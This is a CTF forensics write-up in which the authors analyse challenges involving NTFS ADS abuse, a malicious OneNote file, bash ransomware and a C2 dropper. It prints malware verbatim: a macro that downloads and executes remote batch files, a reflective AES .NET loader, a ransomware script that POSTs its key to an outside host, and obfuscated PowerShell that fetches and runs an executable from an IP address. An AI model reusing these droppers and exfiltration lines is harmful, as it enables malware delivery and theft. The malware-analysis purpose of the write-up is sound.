Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces …
We were given a virtual hard disk image from a compromised environment.
It took a little time to find a foothold, but we decided to analyze the system’s event logs.
Using Hayabusa as before, we enumerated the High-severity alerts and found that the following command had been executed:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass - < E:\C\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1ActiveSyncProvider.dll:hidden.ps1 retrieves data that was maliciously embedded in an Alternate Data Stream (ADS) of ActiveSyncProvider.dll.
We were aware of NTFS ADS abuse as a concept, but this was our first time seeing it exploited in practice — very interesting.
As a side note, the dir /r command can be used to enumerate ADS of a target file:
dir /r ActiveSyncProvider.dllThe file ActiveSyncProvider.dll was still present on the virtual hard disk, so we actually examined the script executed by ActiveSyncProvider.dll:hidden.ps1.
As shown above, the script was heavily obfuscated with symbols.
Decoding it from left to right, we were eventually able to recover a string expressed as [Char]10-style character codes:
Manually deobfuscating was somewhat tedious, so we wrote the following regex-based solver:
import re
with open("obs.ps1", "r") as f:
data = f.read()
with open("result", "w") as f:
r = re.findall('(\[Char\][0-9]+)\s', data)
for d in r:
c = chr(int(d.replace("[Char]", "")))
data = data.replace(d+" ", c)
f.write(data)Recovering the script this way ultimately let us retrieve the flag.
Relic Maps (Forensic)
Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).
We identified the address and path of the challenge’s C2 server and retrieved the suspicious OneNote file.
Running strings revealed an embedded script:
Exec process using WMI
Function WmiExec(cmdLine )
Dim objConfig
Dim objProcess
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
WmiExec = dukpatek(objProcess, objConfig, cmdLine)
End Function
Private Function dukpatek(myObjP , myObjC , myCmdL )
Dim procId
dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)
End Function
Sub AutoOpen()
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"
End Sub
' Exec process using WScript.Shell (asynchronous)
Sub WscriptExec(cmdLine )
CreateObject("WScript.Shell").Run cmdLine, 0
End Sub
Sub ExecuteCmdAsync(targetPath )
On Error Resume Next
Err.Clear
wimResult = WmiExec(targetPath)
If Err.Number <> 0 Or wimResult <> 0 Then
Err.Clear
WscriptExec targetPath
End If
On Error Goto 0
End Sub
window.resizeTo 0,0
AutoOpenS
CloseLooking at AutoOpen, we can see it downloads and executes a file called window.bat.
We then downloaded this file from the C2 server.
The file itself was obfuscated as shown below:
Deobfuscating this file gives the following PowerShell script:
Reformatting this script produces the following. %~f0 represents the path of the batch file itself:
$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);
foreach ($YiLGW in $eIfqq) {
if ($YiLGW.StartsWith(':: ')) {
$VuGcO = $YiLGW.Substring(3);
break;
};
};
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$Nlgap.Dispose();
$BacUA.Dispose();
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$NVPbn.CopyTo($bTMLk);
$NVPbn.Dispose();
$mNKMr.Dispose();
$bTMLk.Dispose();
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]] ('%*')))This script uses $VuGcO to retrieve a Base64 string, then calls System.Convert.FromBase64String to decode it into binary data $uZOcm.
It then uses System.Security.Cryptography classes to derive a Key and IV from hardcoded strings, creating a symmetric decryption object $Nlgap.
This decryptor is used to decrypt the binary data $uZOcm.
The binary data is gzip-compressed; after decompression via System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress), it is stored in the memory stream $bTMLk.
Finally, $bTMLk is converted to an array, loaded as a System.Reflection.Assembly object, and executed.
This implementation closely resembles AsyncRAT and similar malware families dropped via OneNote.
We were able to identify the flag from the final System.Reflection.Assembly object, but our approach was not elegant — we forced the data out of a process dump rather than finding a clean solution.
Consulting a writeup afterward, the intended approach was not to directly exploit the .NET assembly loaded into memory by System.Reflection.Assembly, but rather to replace the above reversed implementation with a Python script and export it as a file:
key = base64.b64decode('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=')
iv = base64.b64decode('2hn/J717js1MwdbbqMn7Lw==')
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
clean = cipher.decrypt(base64.b64decode(inp))
out = unpad(clean, 16)
decomp = gzip.decompress(out)A much cleaner method — good lesson learned.
Bashic Ransomware (Forensic)
The aliens are gathering their best malware developers to stop Pandora from using the relic to her advantage. They relieved their ancient ransomware techniques hidden for years in ancient tombs of their ancestors. The developed ransomware has now infected Linux servers known to be used by Pandora. The ransom is the relic. If Pandora returns the relic, then her files will be decrypted. Can you help Pandora decrypt her files and save the relic?
We were given a pcap and a memory dump captured from an environment infected by ransomware.
Exporting objects from the pcap produced the following script:
tljyVe4o7K3yOdj="<key>"
echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha
shred -u RxgXlDqP0h3baha
curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php
# echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
gpg --decrypt --batch --output data.txt flag.txt.a59apHere, GPG encryption was performed using a pre-defined key together with a randomly generated string.
This means that recovering that key would be enough to decrypt the encrypted file.
We were not sure of the cleanest approach to extract the key, but we were able to brute-force it from the memory dump and retrieve the flag.
Interstellar C2 (Forensic)
We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora’s private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?
We were given a pcap file capturing real C2 server communications.
Extracting objects from the pcap produced the following obfuscated script:
.("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so') ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ; &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3 ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte')); .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle') BI34 ( [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo')); ${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf}, ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c') ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','tem.I','Str','Sy');
${a`es} = (&('GI') VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(), (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V') bI34 -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"Deobfuscating this script revealed that tmp7102591.exe was downloaded via Start-BitsTransfer from the following source:
We identified the downloaded filename as 94974f08-5853-41ab-938a-ae1bd86d8e51, extracted that object from the pcap, and saved it as tmp7102591.exe.
Start-BitsTransfer -Source http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51 -Destination C:\Users\TADPOL~1\AppData\Local\Temp\94974f08-5853-41ab-938a-ae1bd86d8e51The file tmp7102591.exe was a .NET application.
Decompiling it with ILSpy gave us nearly raw source code.
We focused in particular on the following code:
using System;
using System.Diagnostics;
using System.Globalization;
using System.Security.Principal;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;
namespace testapp
{
class Program
{
private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
{
SymmetricAlgorithm symmetricAlgorithm = null;
symmetricAlgorithm = ((!rij) ? ((SymmetricAlgorithm)new AesCryptoServiceProvider()) : ((SymmetricAlgorithm)new RijndaelManaged()));
symmetricAlgorithm.Mode = CipherMode.CBC;
symmetricAlgorithm.Padding = PaddingMode.Zeros;
symmetricAlgorithm.BlockSize = 128;
symmetricAlgorithm.KeySize = 256;
if (IV != null)
{
symmetricAlgorithm.IV = Convert.FromBase64String(IV);
}
else
{
symmetricAlgorithm.GenerateIV();
}
if (key != null)
{
symmetricAlgorithm.Key = Convert.FromBase64String(key);
}
return symmetricAlgorithm;
}
private static string Decryption(string key, string enc)
{
byte[] array = Convert.FromBase64String(enc);
byte[] array2 = new byte[16];
Array.Copy(array, array2, 16);
try
{
SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));
byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(default(char))));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);
byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(default(char))));
}
finally
{
Array.Clear(array, 0, array.Length);
Array.Clear(array2, 0, 16);
}
}
static void Main(string[] args)
{
string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
string enc = "</Kettie/Emmie/Anni?Theda=Merrilee? から取得>";
string text2 = Decryption(key, enc);
Console.WriteLine(text2);
}
}
}Reversing this step by step, we identified that the code decrypts an AES-encrypted payload and executes it.
Further analysis revealed that the flag was AES-encrypted, converted to an image, and sent to a C2 service via POST — and we identified the key. Unfortunately, we ran out of time before we could decrypt the flag.
We identified the key but did not have the stamina to push it all the way through — a very interesting challenge nonetheless.
Reference: HTB: CA2023 — Forensics Interstellar C2 | by Khris Tolbert | Maveris Labs | Mar, 2023 | Medium
Summary
This CTF had a large number of challenges closely mirroring real-world malware analysis and incident response scenarios, making it a thoroughly enjoyable experience.
We have a strong interest in malware analysis and forensics, and plan to keep studying going forward.